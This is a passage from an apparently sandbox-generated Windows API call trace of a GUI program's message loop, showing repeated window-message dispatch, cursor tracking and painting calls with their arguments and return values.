returned 0x1e [0266.988] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0266.988] FillRect (hDC=0x1f0107ab, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0266.988] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x1f0107ab, lParam=0x4) returned 0x0 [0266.989] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x1f0107ab, lParam=0x1034a) returned 0xe100186 [0266.989] GetSysColor (nIndex=8) returned 0x0 [0266.989] SetTextColor (hdc=0x1f0107ab, color=0x0) returned 0x0 [0266.989] GetSysColor (nIndex=15) returned 0xf0f0f0 [0266.989] SetBkColor (hdc=0x1f0107ab, color=0xf0f0f0) returned 0xffffff [0266.989] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0266.989] GetCurrentProcessId () returned 0x8d0 [0266.989] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0266.989] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0266.989] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0266.989] GetCurrentProcessId () returned 0x8d0 [0266.989] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0266.989] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0266.989] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0266.989] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0266.989] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0266.990] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0266.990] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=780, y=559)) returned 1 [0266.990] WindowFromPoint (Point=0x30c) returned 0x1034a [0266.990] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x22f030c) returned 0x1 [0266.990] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0266.990] GetCurrentProcessId () returned 0x8d0 [0266.990] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0266.990] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0266.990] GetCapture () returned 0x0 [0266.990] WaitMessage () returned 1 [0267.003] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.003] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x2250302) returned 0x1 [0267.003] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=770, y=549)) returned 1 [0267.003] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0267.003] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0267.003] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0267.003] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0267.003] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0267.004] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0267.004] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0267.004] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.004] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.004] GetCapture () returned 0x0 [0267.004] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0267.004] WindowFromPoint (Point=0x302) returned 0x1034a [0267.004] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x2250302) returned 0x1 [0267.004] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0267.004] GetCurrentProcessId () returned 0x8d0 [0267.004] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.004] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0267.004] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x200, wParam=0x0, lParam=0x103) returned 0x0 [0267.005] GetKeyState (nVirtKey=18) returned 1 [0267.005] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.005] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=770, y=549)) returned 1 [0267.005] WindowFromPoint (Point=0x301) returned 0x20320 [0267.005] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x2220301) returned 0x1 [0267.005] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.005] GetCurrentProcessId () returned 0x8d0 [0267.005] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0267.005] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.005] GetCapture () returned 0x0 [0267.005] WaitMessage () returned 1 [0267.015] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.015] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21b02f8) returned 0x1 [0267.015] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=760, y=539)) returned 1 [0267.015] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0267.015] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.015] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.015] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.015] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.016] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.016] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.016] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.016] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.016] GetCapture () returned 0x0 [0267.016] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0267.016] WindowFromPoint (Point=0x2f8) returned 0x1034c [0267.016] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21b02f8) returned 0x1 [0267.016] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0267.016] GetCurrentProcessId () returned 0x8d0 [0267.016] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.016] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0267.016] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x200, wParam=0x0, lParam=0xa00f9) returned 0x0 [0267.016] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f970 | out: lpdwProcessId=0x18f970) returned 0x8cc [0267.016] GetCurrentProcessId () returned 0x8d0 [0267.016] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.016] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18fbc8) returned 0x0 [0267.017] GetKeyState (nVirtKey=18) returned 1 [0267.017] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.017] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.017] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.017] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0267.017] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f980 | out: lpdwProcessId=0x18f980) returned 0x8cc [0267.017] GetCurrentProcessId () returned 0x8d0 [0267.017] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.017] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18fbd8) returned 0x0 [0267.017] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.017] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.017] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.017] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.017] GetClientRect (in: hWnd=0x1034c, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0267.017] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0267.018] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0267.018] FillRect (hDC=0x54010177, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0267.018] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x54010177, lParam=0x4) returned 0x0 [0267.018] SendMessageA (hWnd=0x1034c, Msg=0xbd38, wParam=0x54010177, lParam=0x1034c) returned 0xe100186 [0267.018] GetSysColor (nIndex=8) returned 0x0 [0267.018] SetTextColor (hdc=0x54010177, color=0x0) returned 0x0 [0267.018] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.018] SetBkColor (hdc=0x54010177, color=0xf0f0f0) returned 0xffffff [0267.018] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.018] GetCurrentProcessId () returned 0x8d0 [0267.018] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.018] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.019] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.019] GetCurrentProcessId () returned 0x8d0 [0267.019] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.019] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.019] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0267.019] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x18, lParam=0x18e7f8) returned 0x17 [0267.019] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x30, lParam=0x18e7d0) returned 0x17 [0267.019] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0267.020] FillRect (hDC=0x4010b6c, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0267.020] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x4010b6c, lParam=0x4) returned 0x0 [0267.020] SendMessageA (hWnd=0x1034c, Msg=0xbd38, wParam=0x4010b6c, lParam=0x1034c) returned 0xe100186 [0267.020] GetSysColor (nIndex=8) returned 0x0 [0267.020] SetTextColor (hdc=0x4010b6c, color=0x0) returned 0x0 [0267.020] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.020] SetBkColor (hdc=0x4010b6c, color=0xf0f0f0) returned 0xffffff [0267.020] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.020] GetCurrentProcessId () returned 0x8d0 [0267.020] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.020] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.020] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.020] GetCurrentProcessId () returned 0x8d0 [0267.020] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.020] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.020] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0267.021] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x18, lParam=0x18e7f8) returned 0x17 [0267.021] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x30, lParam=0x18e7d0) returned 0x17 [0267.021] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.022] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.022] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.022] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.022] GetClientRect (in: hWnd=0x1034a, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0267.022] FillRect (hDC=0x2a010b57, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0267.022] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0267.022] FillRect (hDC=0x1f0107ab, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0267.022] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x1f0107ab, lParam=0x4) returned 0x0 [0267.022] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x1f0107ab, lParam=0x1034a) returned 0xe100186 [0267.022] GetSysColor (nIndex=8) returned 0x0 [0267.022] SetTextColor (hdc=0x1f0107ab, color=0x0) returned 0x0 [0267.023] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.023] SetBkColor (hdc=0x1f0107ab, color=0xf0f0f0) returned 0xf0f0f0 [0267.023] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.023] GetCurrentProcessId () returned 0x8d0 [0267.023] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.023] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0267.023] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.023] GetCurrentProcessId () returned 0x8d0 [0267.023] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0267.023] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0267.023] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0267.023] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0267.023] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0267.024] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.024] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=760, y=539)) returned 1 [0267.024] WindowFromPoint (Point=0x2f8) returned 0x1034c [0267.024] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21b02f8) returned 0x1 [0267.024] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.024] GetCurrentProcessId () returned 0x8d0 [0267.024] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.024] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.024] GetCapture () returned 0x0 [0267.024] WaitMessage () returned 1 [0267.026] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.026] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02ee) returned 0x1 [0267.026] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=750, y=538)) returned 1 [0267.026] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0267.026] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.026] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.027] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.027] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.027] GetCapture () returned 0x0 [0267.027] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0267.027] WindowFromPoint (Point=0x2ee) returned 0x1034c [0267.027] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02ee) returned 0x1 [0267.027] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0267.027] GetCurrentProcessId () returned 0x8d0 [0267.027] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.027] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0267.027] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x200, wParam=0x0, lParam=0x900ef) returned 0x0 [0267.027] GetKeyState (nVirtKey=18) returned 1 [0267.027] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.028] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=750, y=538)) returned 1 [0267.028] WindowFromPoint (Point=0x2f1) returned 0x1034c [0267.028] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21702f1) returned 0x1 [0267.028] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.028] GetCurrentProcessId () returned 0x8d0 [0267.028] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.028] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.028] GetCapture () returned 0x0 [0267.028] WaitMessage () returned 1 [0267.047] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.047] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.047] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=744, y=538)) returned 1 [0267.048] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0267.048] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.048] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.048] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.048] GetCapture () returned 0x0 [0267.049] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0267.049] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.049] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.049] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0267.049] GetCurrentProcessId () returned 0x8d0 [0267.049] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.049] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0267.049] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x200, wParam=0x0, lParam=0x900e9) returned 0x0 [0267.049] GetKeyState (nVirtKey=18) returned 1 [0267.049] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.049] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.049] WindowFromPoint (Point=0x2e5) returned 0x1034c [0267.049] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21c02e5) returned 0x1 [0267.050] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.050] GetCurrentProcessId () returned 0x8d0 [0267.050] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.050] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.050] GetCapture () returned 0x0 [0267.050] WaitMessage () returned 1 [0267.072] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.072] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.072] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.072] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.073] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.073] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.073] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.073] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.073] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.073] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.073] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.074] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.074] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.074] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.074] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.074] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.074] GetCurrentProcessId () returned 0x8d0 [0267.074] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.074] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.074] GetCapture () returned 0x0 [0267.074] WaitMessage () returned 1 [0267.135] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.135] TranslateMessage 